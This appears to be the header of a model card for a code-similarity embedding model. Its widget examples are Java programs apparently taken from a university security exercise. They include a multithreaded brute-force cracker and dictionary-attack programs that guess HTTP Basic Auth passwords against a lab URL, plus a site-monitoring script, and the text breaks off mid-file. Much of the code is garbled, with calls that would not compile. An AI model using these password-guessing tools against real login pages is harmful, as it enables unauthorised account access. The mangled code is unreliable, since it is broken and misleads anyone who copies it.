|
--- |
|
tags: |
|
- sentence-transformers |
|
- sentence-similarity |
|
- feature-extraction |
|
- generated_from_trainer |
|
- dataset_size:33411 |
|
- loss:BatchAllTripletLoss |
|
base_model: microsoft/graphcodebert-base |
|
widget: |
|
- source_sentence: "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\n\ |
|
import java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce\ |
|
\ {\n \n \n \n public static String Base64Encode(String s) {\n \ |
|
\ byte[] bb = s.getBytes();\n byte[] b = bb;\n char[] table\ |
|
\ = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\ |
|
\ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n\ |
|
\ '0','1','2','3','4','5','6','7','8','9','+','/' };\n if (bb.length\ |
|
\ % 3!=0) {\n int x1 = bb.length;\n \n b = new\ |
|
\ byte[(x1/3+1)*3];\n int x2 = b.length;\n \n \ |
|
\ for(int i=0;i<x1;i++)\n b[i] = bb[i];\n for(int i=x1;i<x2;i++)\n\ |
|
\ b[i] = 0;\n }\n \n char[] c = new char[b.length/3*4];\n\ |
|
\ \n int i=0, j=0;\n while (i+3<=b.length) {\n \ |
|
\ c[j] = table[(b[i] >> 2)];\n c[j+1] = table[(b[i+1] >>\ |
|
\ 4) | ((b[i] & 3) << 4)];\n c[j+2] = table[(b[i+2] >> 6) |\ |
|
\ ((b[i+1] & 15) << 2)];\n c[j+3] = table[(b[i+2] & 63)];\n \ |
|
\ i+=3;\n j+=4;\n }\n \n j = c.length-1;\n\ |
|
\ while (c[j]=='A') {\n c[j]='=';\n j--;\n \ |
|
\ }\n \n return String.valueOf(c);\n }\n \n \n public\ |
|
\ synchronized void getAccumulatedLocalAttempt() {\n attempt = 0;\n \ |
|
\ for (int i=0;i<MAXTHREAD;i++) {\n attempt += threads[i].getLocalAttempt();\n\ |
|
\ }\n }\n \n \n public synchronized void printStatusReport(String\ |
|
\ Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {\n \ |
|
\ DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\"\ |
|
);\n \n System.out.println();\n System.out.println(\" ------------------------\ |
|
\ [ CURRENT STATISTICS ] ---------------------------\");\n System.out.println();\n\ |
|
\ System.out.println(\" Current connections : \"+curconn);\n \ |
|
\ System.out.println(\" Current progress : \"+attempt+ \" of \"+ALLCOMBI+\"\ |
|
\ (\"+currprogress+\"%)\");\n System.out.println(\" Overall Attempts rate\ |
|
\ : \"+ovrl+\" attempts second (approx.)\");\n System.out.println();\n\ |
|
\ System.out.println(\" ---------------------------------------------------------------------------\"\ |
|
);\n System.out.println();\n }\n \n \n public class MyTT extends\ |
|
\ TimerTask {\n \n public synchronized void run() {\n \ |
|
\ \n \n if (count==REPORT_INTERVAL) {\n \ |
|
\ \n DecimalFormat fmt = new DecimalFormat();\n \ |
|
\ fmt.applyPattern(\"0.00\");\n \n \n \ |
|
\ getAccumulatedLocalAttempt();\n double p = (double)attempt/(double)ALLCOMBI*100;\n\ |
|
\ \n \n double aps = (double) (attempt\ |
|
\ - attm) / REPORT_INTERVAL;\n \n \n \ |
|
\ attmArr[attmArrIdx++] = aps;\n \n \n \ |
|
\ printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);\n\ |
|
\ count = 0;\n } else\n \n \ |
|
\ if (count==0) {\n getAccumulatedLocalAttempt();\n \ |
|
\ attm = attempt;\n count++;\n \ |
|
\ } else {\n count++;\n }\n }\n \ |
|
\ \n \n public synchronized double getOverallAttemptPerSec()\ |
|
\ {\n double val = 0;\n for (int i=0;i<attmArrIdx;i++) {\n\ |
|
\ val+= attmArr[i];\n }\n return val / attmArrIdx;\n\ |
|
\ }\n \n private int count = 0;\n private int\ |
|
\ attm;\n private int attmArrIdx = 0;\n private double[]\ |
|
\ attmArr = new double[2*60*60/10]; \n }\n \n \n public synchronized\ |
|
\ void interruptAll(int ID) {\n for (int i=0;i<MAXTHREAD;i++) {\n \ |
|
\ if ((threads[i].isAlive()) && (i!=ID)) {\n threads[i].interrupt();\n\ |
|
\ }\n notifyAll();\n }\n }\n \n \n \n\ |
|
\ public synchronized void setSuccess(int ID, String p) {\n passw \ |
|
\ = p;\n success = ID;\n notifyAll();\n interruptAll(ID);\n\ |
|
\ \n \n end = System.currentTimeMillis();\n }\n \n\ |
|
\ \n public synchronized boolean isSuccess() {\n return (success>=0);\n\ |
|
\ }\n \n \n \n public synchronized void waitUntilAllTerminated()\ |
|
\ {\n while (curconn>0) {\n try {\n wait();\n\ |
|
\ } catch (InterruptedException e) {}\n }\n }\n \n \ |
|
\ \n \n \n public synchronized int waitUntilOK2Connect() {\n boolean\ |
|
\ interruptd= false;\n int idx = -1;\n \n \n \n \ |
|
\ \n while (curconn>=MAXCONN) {\n try {\n \ |
|
\ wait();\n } catch (InterruptedException e) { interruptd = true;\ |
|
\ }\n }\n \n \n \n if (!interruptd) {\n \ |
|
\ \n curconn++;\n for (idx=0;idx<MAXCONN;idx++)\n\ |
|
\ if (!connused[idx]) {\n connused[idx] = true;\n\ |
|
\ break;\n }\n \n notifyAll();\n\ |
|
\ }\n \n \n return idx;\n }\n \n \n public\ |
|
\ synchronized void decreaseConn(int idx) {\n curconn--;\n connused[idx]\ |
|
\ = false;\n \n \n notifyAll();\n }\n \n \n public\ |
|
\ class ThCrack extends Thread {\n \n \n public ThCrack(int\ |
|
\ threadID, int startidx, int endidx) {\n super(\" Thread #\"+String.valueOf(threadID)+\"\ |
|
: \");\n this.ID = threadID;\n this.startidx = startidx;\n\ |
|
\ this.endidx = endidx;\n \n setDaemon(true);\n\ |
|
\ }\n \n \n public boolean launchRequest(String ID,\ |
|
\ int connID,String thePass) throws IOException, InterruptedException {\n \ |
|
\ int i ;\n String msg;\n \n \n \ |
|
\ URL tryURL = new URL(THEURL);\n \n \n \ |
|
\ connections[connID]=(HttpURLConnection) tryURL.openConnection();\n \ |
|
\ \n \n connections[connID].setRequestProperty(\"Authorization\"\ |
|
,\" \"+Base64Encode(USERNAME+\":\"+thePass));\n \n \n \ |
|
\ i = connections[connID].getResponseCode();\n msg = connections[connID].getResponseMessage();\n\ |
|
\ connections[connID].disconnect();\n \n \n \ |
|
\ if (i==HttpURLConnection.HTTP_OK) {\n \n \ |
|
\ System.out.println(ID+\"Trying '\"+thePass+\"' GOTCHA !!! (= \"+String.valueOf()+\"\ |
|
-\"+msg+\").\");\n setSuccess(this.ID,thePass);\n \ |
|
\ return (true);\n } else {\n \n System.out.println(ID+\"\ |
|
Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"-\"+msg+\").\");\n \ |
|
\ return (false);\n }\n }\n \n \n \ |
|
\ public void rest(int msec) {\n try { sleep(msec); } catch (InterruptedException\ |
|
\ e) {}\n }\n \n \n \n public String constructPassword(\ |
|
\ int idx) {\n int i = idxLimit.length-2;\n boolean\ |
|
\ processed = false;\n \n String result = \"\";\n \ |
|
\ while (i>=0) {\n if (idx>=idxLimit[i]) {\n \ |
|
\ int nchar = i + 1;\n idx-=idxLimit[i];\n \ |
|
\ for (int j=0;j<nchar;j++) {\n x = (idx % NCHAR);\n\ |
|
\ result = charset.charAt((int) x) + result;\n \ |
|
\ idx /= NCHAR;\n }\n break;\n\ |
|
\ }\n i--;\n }\n \n \ |
|
\ return result;\n }\n \n \n public String getStartStr()\ |
|
\ {\n return constructPassword(this.startidx);\n }\n \ |
|
\ \n \n public String getEndStr() {\n return constructPassword(this.endidx);\n\ |
|
\ }\n \n \n public void run() {\n i =\ |
|
\ startidx;\n boolean keeprunning = true;\n while ((!isSuccess())\ |
|
\ && (i<=endidx) && (keeprunning)) {\n \n \n \ |
|
\ int idx = waitUntilOK2Connect();\n \n \ |
|
\ \n if (idx==-1) {\n \n \ |
|
\ break;\n }\n \n try {\n \ |
|
\ \n launchRequest(getName(), idx, constructPassword(i));\n\ |
|
\ \n decreaseConn(idx);\n \ |
|
\ \n localattempt++;\n \n \ |
|
\ \n rest(MAXCONN);\n i++;\n \ |
|
\ } catch (InterruptedException e) {\n \n \ |
|
\ \n keeprunning = false;\n \ |
|
\ break;\n } catch (IOException e) {\n \n\ |
|
\ \n \n \n \ |
|
\ \n decreaseConn(idx);\n }\n \ |
|
\ }\n \n \n if (success==this.ID) {\n \ |
|
\ waitUntilAllTerminated();\n }\n }\n \n\ |
|
\ \n public int getLocalAttempt() {\n return localattempt;\n\ |
|
\ }\n \n private int startidx,endidx;\n private int\ |
|
\ ID;\n private int localattempt = 0;\n }\n \n \n public void\ |
|
\ printProgramHeader(String mode,int nThread) {\n System.out.println();\n\ |
|
\ System.out.println(\" ********************* [ BRUTE-FORCE CRACKING SYSTEM\ |
|
\ ] *********************\");\n System.out.println();\n System.out.println(\"\ |
|
\ URL : \"+THEURL);\n System.out.println(\" Crack Mode : \"\ |
|
+mode);\n System.out.println(\" Characters : \"+charset);\n System.out.println(\"\ |
|
\ . Char : \"+MINCHAR);\n System.out.println(\" . Char : \"+MAXCHAR);\n\ |
|
\ System.out.println(\" # of Thread : \"+nThread);\n System.out.println(\"\ |
|
\ Connections : \"+MAXCONN);\n System.out.println(\" All Combi. : \"\ |
|
+ALLCOMBI);\n System.out.println();\n System.out.println(\" ***************************************************************************\"\ |
|
);\n System.out.println();\n }\n \n \n public void startNaiveCracking()\ |
|
\ {\n MAXTHREAD = 1;\n MAXCONN = 1;\n startDistCracking();\n\ |
|
\ }\n \n \n public void startDistCracking() {\n int startidx,endidx;\n\ |
|
\ int thcount;\n \n \n if (isenhanced) {\n \ |
|
\ printProgramHeader(\"ENHANCED BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n\ |
|
\ } else {\n printProgramHeader(\"NAIVE BRUTE-FORCE CRACKING\ |
|
\ ALGORITHM\",MAXTHREAD);\n }\n \n \n i = System.currentTimeMillis();\n\ |
|
\ \n idxstart = idxLimit[MINCHAR-1];\n \n \n \ |
|
\ \n \n \n \n if (MAXTHREAD>ALLCOMBI - idxstart)\ |
|
\ { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n mult = (ALLCOMBI - idxstart)\ |
|
\ / MAXTHREAD;\n \n \n \n for (thcount=0;thcount<MAXTHREAD-1;thcount++)\ |
|
\ {\n startidx = thcount*mult + idxstart;\n endidx = (thcount+1)*mult-1\ |
|
\ + idxstart;\n threads[thcount] = new ThCrack(thcount, startidx, endidx);\n\ |
|
\ System.out.println(threads[thcount].getName()+\" try crack from\ |
|
\ '\"+threads[thcount].getStartStr()+\"' '\"+threads[thcount].getEndStr()+\"\ |
|
'\");\n }\n \n \n \n \n \n startidx\ |
|
\ = (MAXTHREAD-1)*mult + idxstart;\n endidx = ALLCOMBI-1;\n threads[MAXTHREAD-1]\ |
|
\ = new ThCrack(MAXTHREAD-1, startidx, endidx);\n System.out.println(threads[MAXTHREAD-1].getName()+\"\ |
|
\ try crack from '\"+threads[MAXTHREAD-1].getStartStr()+\"' '\"+threads[MAXTHREAD-1].getEndStr()+\"\ |
|
'\");\n \n System.out.println();\n System.out.println(\"\ |
|
\ ***************************************************************************\"\ |
|
);\n System.out.println();\n \n \n for (int i=0;i<MAXTHREAD;i++)\n\ |
|
\ threads[i].print();\n }\n \n \n public BruteForce() {\n\ |
|
\ \n if (isenhanced) {\n startDistCracking();\n \ |
|
\ } else {\n startNaiveCracking();\n }\n \n \ |
|
\ \n reportTimer = new java.util.Timer();\n MyTT tt = new\ |
|
\ MyTT();\n reportTimer.schedule(tt,1000,1000);\n \n \n \ |
|
\ while ((success==-1) && (attempt<ALLCOMBI)) {\n try { Thread.sleep(100);\ |
|
\ getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }\n \ |
|
\ }\n \n \n if (success==-1) {\n end = System.currentTimeMillis();\n\ |
|
\ }\n \n \n getAccumulatedLocalAttempt();\n \ |
|
\ \n double ovAps = tt.getOverallAttemptPerSec();\n DecimalFormat\ |
|
\ fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n\ |
|
\ \n reportTimer.cancel();\n \n \n try { Thread.sleep(1000);\ |
|
\ } catch (InterruptedException e) { }\n \n \n synchronized\ |
|
\ (this) {\n if (success>=0) {\n System.out.println();\n\ |
|
\ System.out.println(\" ********************* [ URL SUCCESSFULLY\ |
|
\ CRACKED !! ] *********************\");\n System.out.println();\n\ |
|
\ System.out.println(\" The password is : \"+passw);\n \ |
|
\ System.out.println(\" Number of attempts : \"+attempt+\" of \"\ |
|
+ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt\ |
|
\ position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n\ |
|
\ System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\ |
|
\ \" attempts/sec\");\n System.out.println(\" Cracking time \ |
|
\ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \ |
|
\ System.out.println(\" Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+\ |
|
\ \" seconds\");\n System.out.println();\n System.out.println(\"\ |
|
\ ***************************************************************************\"\ |
|
);\n System.out.println();\n } else {\n \ |
|
\ System.out.println();\n System.out.println(\" *********************\ |
|
\ [ UNABLE CRACK THE URL !!! ] *********************\");\n System.out.println();\n\ |
|
\ System.out.println(\" Number of attempts : \"+attempt+\" of\ |
|
\ \"+ALLCOMBI+\" total combinations\");\n System.out.println(\"\ |
|
\ Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"\ |
|
%\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\ |
|
\ \" attempts/sec\");\n System.out.println(\" Cracking time \ |
|
\ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \ |
|
\ System.out.println();\n System.out.println(\" ***************************************************************************\"\ |
|
);\n System.out.println();\n }\n }\n }\n \ |
|
\ \n \n public static void printSyntax() {\n System.out.println();\n\ |
|
\ System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] []\ |
|
\ [username]\");\n System.out.println();\n System.out.println(\"\ |
|
\ mode : (opt) 0 - NAIVE Brute force mode\");\n System.out.println(\"\ |
|
\ (trying from the first the last combinations)\");\n\ |
|
\ System.out.println(\" 1 - ENHANCED Brute force mode\"\ |
|
);\n System.out.println(\" (dividing cracking jobs\ |
|
\ multiple threads) (default)\");\n System.out.println(\" URL :\ |
|
\ (opt) the URL crack \");\n System.out.println(\" \ |
|
\ (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n System.out.println(\"\ |
|
\ charset : (optional) the character set used crack.\");\n System.out.println(\"\ |
|
\ - (default)\");\n System.out.println(\" \ |
|
\ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\"\ |
|
\ -alphanum \");\n System.out.println(\" \ |
|
\ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n \ |
|
\ System.out.println(\" -alphalow \");\n System.out.println(\"\ |
|
\ abcdefghijklmnopqrstuvwxyz\");\n System.out.println(\"\ |
|
\ -alphaup \");\n System.out.println(\" \ |
|
\ ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" \ |
|
\ -number \");\n System.out.println(\" 1234567890\"\ |
|
);\n System.out.println(\" [custom] e.g. aAbB123\");\n \ |
|
\ System.out.println(\" , : (optional) range of characters applied in\ |
|
\ the cracking\");\n System.out.println(\" where\ |
|
\ 1 <= <= 10 (default = 1)\");\n System.out.println(\" \ |
|
\ <= <= 10 (default = 3)\");\n System.out.println(\"\ |
|
\ username : (optional) the username that is used crack\");\n System.out.println();\n\ |
|
\ System.out.println(\" NOTE: The optional parameters 'charset','','',\ |
|
\ and 'username'\");\n System.out.println(\" have specified altogether\ |
|
\ none at all.\");\n System.out.println(\" For example, if [charset]\ |
|
\ is specified, then [], [], and\");\n System.out.println(\" [username]\ |
|
\ have specified as well. If none of them specified,\");\n System.out.println(\"\ |
|
\ default values used.\");\n System.out.println();\n System.out.println(\"\ |
|
\ Example of invocation :\");\n System.out.println(\" java BruteForce\ |
|
\ \");\n System.out.println(\" java BruteForce 0\");\n System.out.println(\"\ |
|
\ java BruteForce 1 http://localhost/tryme.php\");\n System.out.println(\"\ |
|
\ java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n System.out.println(\"\ |
|
\ java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n \ |
|
\ System.out.println();\n System.out.println();\n }\n \n \n\ |
|
\ \n \n \n \n \n \n public static void countIdxLimit() {\n\ |
|
\ idxLimit = new int[MAXCHAR+1];\n \n NCHAR = charset.length();\n\ |
|
\ ALLCOMBI = 0;\n for (int i=0;i<=MAXCHAR;i++) {\n if\ |
|
\ (i==0) {\n idxLimit[i] = 0;\n } else {\n \ |
|
\ idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n }\n \ |
|
\ }\n \n ALLCOMBI = idxLimit[idxLimit.length-1];\n }\n \ |
|
\ \n \n public static void paramCheck(String[] args) {\n int argc\ |
|
\ = args.length;\n \n \n try {\n switch (Integer.valueOf(args[0]).intValue())\ |
|
\ {\n case 0: {\n isenhanced = false;\n \ |
|
\ } break;\n case 1: {\n isenhanced\ |
|
\ = true;\n } break;\n default:\n \ |
|
\ System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n\ |
|
\ printSyntax();\n System.exit(1);\n \ |
|
\ }\n } catch (NumberFormatException e) {\n System.out.println(\"\ |
|
Syntax error : invalid number '\"+args[0]+\"'\");\n printSyntax();\n\ |
|
\ System.exit(1);\n }\n \n if (argc>1) {\n \ |
|
\ try {\n \n URL u = new URL(args[1]);\n\ |
|
\ \n \n try {\n \ |
|
\ HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n \ |
|
\ \n switch (conn.getResponseCode()) {\n \ |
|
\ case HttpURLConnection.HTTP_ACCEPTED:\n \ |
|
\ case HttpURLConnection.HTTP_OK:\n case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n\ |
|
\ case HttpURLConnection.HTTP_FORBIDDEN:\n \ |
|
\ case HttpURLConnection.HTTP_UNAUTHORIZED:\n \ |
|
\ break;\n default:\n \ |
|
\ \n \n System.out.println(\"\ |
|
Unable open connection the URL '\"+args[1]+\"'\");\n \ |
|
\ System.exit(1);\n }\n } catch (IOException\ |
|
\ e) {\n System.out.println(e);\n System.exit(1);\n\ |
|
\ }\n \n THEURL = args[1];\n \ |
|
\ } catch (MalformedURLException e) {\n \n \ |
|
\ System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n printSyntax();\n\ |
|
\ System.exit(1);\n }\n }\n \n \ |
|
\ \n if (argc==6) {\n try {\n MINCHAR = Integer.valueOf(args[3]).intValue();\n\ |
|
\ } catch (NumberFormatException e) {\n System.out.println(\"\ |
|
Invalid range number value '\"+args[3]+\"'\");\n printSyntax();\n\ |
|
\ System.exit(1);\n }\n \n try\ |
|
\ {\n MAXCHAR = Integer.valueOf(args[4]).intValue();\n \ |
|
\ } catch (NumberFormatException e) {\n System.out.println(\"\ |
|
Invalid range number value '\"+args[4]+\"'\");\n printSyntax();\n\ |
|
\ System.exit(1);\n }\n \n if\ |
|
\ ((MINCHAR<1) || (MINCHAR>10)) {\n System.out.println(\"Invalid\ |
|
\ range number value '\"+args[3]+\"' (must between 0 and 10)\");\n \ |
|
\ printSyntax();\n System.exit(1);\n } else\n \ |
|
\ if (MINCHAR>MAXCHAR) {\n System.out.println(\"\ |
|
Invalid range number value '\"+args[3]+\"' (must lower than the value)\");\n\ |
|
\ printSyntax();\n System.exit(1);\n \ |
|
\ }\n \n if (MAXCHAR>10) {\n \ |
|
\ System.out.println(\"Invalid range number value '\"+args[4]+\"' (must between\ |
|
\ value and 10)\");\n printSyntax();\n System.exit(1);\n\ |
|
\ }\n \n if (args[2].toLowerCase().equals(\"\ |
|
-\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ |
|
;\n } else\n if (args[2].toLowerCase().equals(\"-alphanum\"\ |
|
)) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"\ |
|
;\n } else\n if (args[2].toLowerCase().equals(\"\ |
|
-alphalow\")) {\n charset = \"abcdefghijklmnopqrstuvwxyz\"\ |
|
;\n } else\n if (args[2].toLowerCase().equals(\"\ |
|
-alphaup\")) {\n charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ |
|
;\n } else\n if (args[2].toLowerCase().equals(\"\ |
|
-number\")) {\n charset = \"1234567890\";\n \ |
|
\ } else {\n charset =\ |
|
\ args[2];\n }\n \n USERNAME\ |
|
\ = args[5];\n } else\n if ((argc>2) && (argc<6)) {\n \ |
|
\ System.out.println(\"Please specify the [charset], [], [], and [username]\ |
|
\ altogether none at all\");\n printSyntax();\n \ |
|
\ System.exit(1);\n } else\n if ((argc>2) && (argc>6))\ |
|
\ {\n System.out.println(\"The number of parameters expected\ |
|
\ is not more than 6. \");\n System.out.println(\" have specified\ |
|
\ more than 6 parameters.\");\n printSyntax();\n \ |
|
\ System.exit(1);\n }\n }\n \n public static\ |
|
\ void main (String[] args) {\n \n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ |
|
;\n MINCHAR = 1;\n MAXCHAR = 3;\n \n \n if\ |
|
\ (args.length==0) {\n args = new String[6];\n args[0]\ |
|
\ = String.valueOf(1); \n args[1] = THEURL;\n args[2] =\ |
|
\ \"-\";\n args[3] = String.valueOf(MINCHAR);\n args[4]\ |
|
\ = String.valueOf(MAXCHAR);\n args[5] = USERNAME;\n }\n \ |
|
\ \n \n paramCheck(args);\n \n countIdxLimit();\n\ |
|
\ \n \n Application = new BruteForce();\n }\n \n \ |
|
\ public static BruteForce Application;\n public static String THEURL =\ |
|
\ \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n public static boolean\ |
|
\ isenhanced; \n public static String passw = \"\"; \n \n public\ |
|
\ static final int REPORT_INTERVAL = 10; \n public static int MAXTHREAD\ |
|
\ = 50; \n public static int MAXCONN = 50; \n public\ |
|
\ static int\t curconn = 0; \n public static int success\ |
|
\ = -1; \n \n public static String USERNAME = \"\"; \n public\ |
|
\ static int MINCHAR; \n public static int MAXCHAR;\ |
|
\ \n public static int ALLCOMBI; \n \n \ |
|
\ public static int start ,end; \n \n \n public static\ |
|
\ java.util.Timer reportTimer; \n public static HttpURLConnection connections[]\ |
|
\ = new HttpURLConnection[MAXCONN]; \n public static boolean\t connused[]\ |
|
\ = new boolean[MAXCONN]; \n public ThCrack[] threads \ |
|
\ = new ThCrack[MAXTHREAD]; \n public static int \ |
|
\ attempt = 0; \n public static int idxLimit; \n public\ |
|
\ static String charset; \n public static int NCHAR; \n}\n" |
|
sentences: |
|
- "\nimport java.util.*;\n\npublic class Dictionary {\n\n private String strUsername;\n\ |
|
\ private String strURL;\n \n \n public Dictionary(String username,\ |
|
\ String url)\n {\n strUsername = username;\n strURL = url;\n\ |
|
\ } \n \n public void run() {\n Date dtStart, dtEnd;\n \ |
|
\ \n PasswordFile pwd = new PasswordFile(\"/usr/dict/words\");\n \ |
|
\ PasswordTest tester;\n int i=1;\n boolean bDone = false;\n\ |
|
\ Result res;\n\n dtStart = new Date();\n while(!bDone) {\n\ |
|
\ tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());\n\ |
|
\ \n bDone = tester;\n i++;\n if(bDone)\ |
|
\ {\n \n res = new Result(strURL, strUsername, pwd.getPassword(),\ |
|
\ dtStart, new Date(), i);\n System.out.print(res.toString());\n\ |
|
\ }\n else\n {\n \n \ |
|
\ }\n \n \n if(pwd.getPassword() == null)\n\ |
|
\ {\n System.out.println(\"Exhausted word file without\ |
|
\ finding password\");\n bDone = true;\n }\n \ |
|
\ } \n \n } \n \n \n public static void main(String[] args)\ |
|
\ {\n \n \n \n \n Dictionary dict = new Dictionary(\"\ |
|
\", \"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \n dict.run();\n\ |
|
\ }\n \n}\n" |
|
- "\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport\ |
|
\ java.io.*; \n\npublic class Dictionary { \n\n public int runProcess(String\ |
|
\ urlString,String passwd) { \n\n System.out.println(\"Checking password:\ |
|
\ ... \" + passwd);\n\n int returnval = 0;\n MyAuthenticator auth\ |
|
\ = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\n \ |
|
\ try{\n\n URL yahoo = new URL(urlString); \n BufferedReader\ |
|
\ in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n \ |
|
\ String inputLine;\n\n while ((inputLine = in.readLine()) !=\ |
|
\ null) {\n\t System.out.println(inputLine);\n\t System.out.println(\"\ |
|
password: \" + passwd);\n returnval = 1;\n }\n\n\t \ |
|
\ in.print();\n\n }catch(Exception e){ returnval = 0;}\n\n return\ |
|
\ returnval;\n }\n\n public static void main (String argv[]) { \n\n \ |
|
\ int retval = 0;\n String pwd = \"\";\n String inFile = \"/usr/share/lib/dict/words\"\ |
|
;\n BufferedReader in = null;\n String line1 =\"\";\n\n try {\n\ |
|
\ \n Dictionary s = new Dictionary(); \n String urlToSearch\ |
|
\ = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n in = new BufferedReader(new\ |
|
\ FileReader(inFile)); \n\n while ((line1=in.readLine()) != null) {\n\ |
|
\n retval = 0;\n pwd = line1;\n retval = s.runProcess(urlToSearch,pwd);\ |
|
\ \n if (retval > 0) {\n System.exit(0);\n }\n\ |
|
\ }\n }catch(Exception e)\n { e.printStackTrace();}\n \ |
|
\ \n } \n} \n" |
|
- "\n\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\nimport java.net.*;\n\ |
|
\npublic class WatchDog\n{\n\n static Process p = null;\n static Process qproc\ |
|
\ = null;\n\n static BufferedReader bf = null;\n static StringTokenizer tok\ |
|
\ = null;\n\n static String Path = null;\n static String str = null;\n static\ |
|
\ String urlStr=null;\n static boolean changed = false;\n\n static File indexfile\ |
|
\ = new File(\"index.html\");\n static File tmpfile = new File(\"tmpindex.html\"\ |
|
);\n static File mdfile = new File(\"md5file.txt\");\n static File tmpmdfile\ |
|
\ = new File(\"tmpmd5file.txt\");\n static PrintWriter mailwriter = null;\n\n\ |
|
\n public static void main (String[] args) \n {\n\n urlStr = \"http://www.cs.rmit.edu./\"\ |
|
;\n\n try\n {\n \n mailwriter = new PrintWriter(new\ |
|
\ BufferedWriter(new FileWriter(\"tomail.txt\", false)));\n\n getLatest(urlStr);\n\ |
|
\ parseFile(); \n\n mailwriter.read();\n\n if(changed)\n\ |
|
\ {\n System.out.println(\"Sending Mail\");\n p\ |
|
\ = Runtime.getRuntime().exec(\"./mailscript\");\n p.waitFor();\n\n\ |
|
\ }\n else\n System.out.println(\" mail sent\");\n\n\ |
|
\ } catch (IOException ioe)\n {\n System.out.println(\"\ |
|
IOException\");\n ioe.printStackTrace();\n }\n catch\ |
|
\ (InterruptedException intex)\n {\n System.out.println(\"\ |
|
Interrupted Exception\");\n intex.printStackTrace();\n }\n\n\ |
|
\n }\n\n\n static void getLatest(String urlStr)\n { \n \n URL\ |
|
\ url = null;\n \n try\n {\n url = new URL(urlStr);\n\n\ |
|
\ } catch (MalformedURLException mfurl)\n {\n System.out.println(\"\ |
|
Malformed URL\");\n mfurl.printStackTrace();\n }\n\n try\n\ |
|
\ {\n mailwriter.println();\n\n p = Runtime.getRuntime().exec(\"\ |
|
/usr//pwd\"); \n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\ |
|
\ p.getInputStream()));\n\n Path=bf.readLine();\n\ |
|
\n if (indexfile.exists())\n {\n mailwriter.println(\"\ |
|
File with name 'index.html' found in directory.\");\n mailwriter.println(\"\ |
|
Renaming existing 'index.html' 'tmpindex.html...\");\n p = Runtime.getRuntime().exec(\"\ |
|
/usr//mv \"+indexfile+ \" \" + Path+\"/\"+tmpfile);\n p.waitFor();\n\ |
|
\ p = Runtime.getRuntime().exec(\"/usr//mv \"+mdfile+ \" \" + Path+\"\ |
|
/\"+tmpmdfile);\n mailwriter.println();\n mailwriter.println(\"\ |
|
File with name 'md5file.txt' found in directory.\");\n mailwriter.print(\"\ |
|
Renaming existing 'md5file.txt' 'tmpmd5file.txt...\");\n\n mailwriter.println(\"\ |
|
.\");\n\n mailwriter.println();\n }\n\n mailwriter.println(\"\ |
|
Downloading current version of site - \" + urlStr);\n p = Runtime.getRuntime().exec(\"\ |
|
/usr/local//wget \"+url);\n p.waitFor();\n if (!tmpfile.exists())\n\ |
|
\ {\n mailwriter.println(\"File - \" + urlStr + \"index.html\ |
|
\ saved disk for the first time.\");\n }\n\n\n } catch (IOException\ |
|
\ ioe)\n {\n System.out.println(\"IOException\");\n \ |
|
\ ioe.printStackTrace();\n }\n catch (IndexOutOfBoundsException\ |
|
\ iobe)\n {\n System.out.println(\"Index Out Of Bounds Exception\"\ |
|
);\n iobe.printStackTrace();\n }\n catch (Exception e)\n\ |
|
\ {\n System.out.println(\"Exception\");\n e.printStackTrace();\n\ |
|
\ }\n }\n\n static void parseFile()\n {\n\n Vector imgVect =\ |
|
\ new Vector();\n\n try\n {\n p = Runtime.getRuntime().exec(\"\ |
|
/usr//grep img \" + Path + \"/\"+ indexfile);\n p.waitFor();\n \ |
|
\ bf = new BufferedReader(new InputStreamReader(\n p.getInputStream()));\n\ |
|
\n while((str=bf.readLine())!=null)\n {\n bf = new\ |
|
